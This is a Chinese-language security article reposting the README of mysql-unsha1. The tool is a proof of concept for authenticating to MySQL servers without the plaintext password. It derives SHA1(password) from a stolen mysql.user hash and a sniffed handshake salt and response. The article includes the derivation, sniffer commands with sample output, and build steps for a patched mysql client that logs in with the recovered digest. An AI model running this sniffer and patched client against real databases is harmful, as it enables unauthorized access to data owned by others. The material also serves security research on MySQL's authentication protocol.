mysql-unsha1:在未知密碼情況下,登錄任意MYSQL資料庫

摘要

這個POC用於在不知道明文密碼的情況下對啟用了密碼安全認證插件(默認開啟插件:mysql_native_password)的MYSQL資料庫進行登錄。

前提條件為:

1.為了獲取到已知用戶的hash,我們需要讀取到目標資料庫中的mysql.user表。

2.能夠攔截到上述已知用戶執行成功的認證信息(即通過SSL認證無法攻擊成功)。

注意:這並不是MYSQL的一個漏洞,只是認證協議工作的直接後果。如果攻擊者已經滿足了上面兩個前提,那麼整個系統應該是已經被攻破了。則這篇文章只是對MYSQL伺服器獲取許可權的另外一種思路。

MySQL伺服器密碼

在默認情況下,所有密碼應該是存放在資料庫中的mysql.user表中,並且使用PASSWORD()方法對密碼進行兩次SHA1摘要。

mysql> SELECT DISTINCT password FROM mysql.user WHERE user = root;n*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19nnmysql> SELECT PASSWORD(password);n*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19nnmysql> SELECT SHA1(UNHEX(SHA1(password)));n2470c0c06dee42fd1618bb99005adca2ec9d1e19n

握手認證

客戶端發送TCP連接信息之後,MYSQL握手認證的簡化步驟大致如下:

1. 服務端發送一個包含鹽(s)的數據包

2. 客戶端回應一個包含處理過後的密碼(x)的登錄請求,密碼加密演算法為:

x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))n

其中password是用戶提供的,"+"是將字元串鏈接起來。

3. 如果滿足下面等式,服務端會確認登錄成功:

SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))n

其中SHA1(SHA1(password))是對密碼進行兩次SHA1摘要,然後儲存到mysql.user表中。並且服務端並不知道密碼以及它的SHA1摘要是什麼。

漏洞利用

攻擊者已經能夠獲得SHA1(password),因此我們可以在不知道明文的密碼情況下對服務端進行欺騙。

步驟如下:

1.將h設置為我們在mysql.user表中得到的經過編碼的password。

2.s和x是我們通過攔截通信得到的鹽和經過處理的密碼。

所以,第一步對密碼進行的SHA1可以表示為:

SHA1(password) = x XOR SHA1(s + h)

攻擊工具

為了可以更加方便的利用這個漏洞,為這個PoC提供了兩個利用工具:

1.一個簡單的嗅探器,用於從PCAP文件中提取和檢查實時或離線的握手信息;

2.允許將登錄的密碼設置為SHA1摘要,而不是明文密碼的補丁.

嗅探器

安裝mysql-unsha1-sniff只需要運行make命令(或者使用make static生成一個靜態鏈接可執行文件)。Makefile將在此目錄下查找uthash.h文件,如果不存在,就去下載它。

運行不帶參數的mysql-unsha1-sniff,將顯示用法。

例子:

sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:rootn

一旦成功抓到握手認證信息,數據會像下面一樣:

[+] Input:n[+] - username ........................ rootn[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49n[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329n[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19n[+] Output:n[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8n[+] Check:n[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19n[+] - authentication status ........... OKn

如果沒有提供帳戶信息,工具將僅顯示salt和會話密碼。

mysql客戶端補丁

搭建mysql客戶端需要一些時間,並且確保您的磁碟有足夠的空間。

1下載並且解壓MySQL源碼:

wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gzntar xf mysql-5.7.17.tar.gzncd mysql-server-mysql-5.7.17n

2.安裝補丁

patch -p1 </path/to/mysql-server-unsha1.patchn

3.編譯:

mkdir buildncd buildncmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..nmake -j$(nproc)n

4.客戶端文件將在client/mysql文件夾中產生,設置環境變數。安裝完成之後刪除源碼節省重空間。

sudo cp client/mysql /usr/local/bin/mysql-unsha1ncd ../..nrm -fr mysql-server-mysql-5.7.17n

使用mysql-unsha1作為原始的MySQL客戶端,並且只需要了解–password[=password], -p[password]選項需要一個長度為40的SHA1摘要。

使用前面獲取到的SHA1進行登錄:

mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8n

其中:

mysql> SELECT SHA1(UNHEX(5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8));n2470c0c06dee42fd1618bb99005adca2ec9d1e19n

2470c0c06dee42fd1618bb99005adca2ec9d1e19是在mysql.user表裡面的密碼。

本文參考來源於github,如若轉載,請註明來源於嘶吼: mysql-unsha1:在未知密碼情況下,登錄任意MYSQL資料庫 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

用DLL文件黑掉遠程Windows PC
工具推薦:22款最流行的計算機取證工具【2017年更新版】
技術分析的流派及其核心內涵之一
Home Lab家庭實驗室搭建之網路配置篇
深度剖析Struts2遠程代碼執行漏洞(CVE-2017-5638)

TAG:技术分析 | MySQL |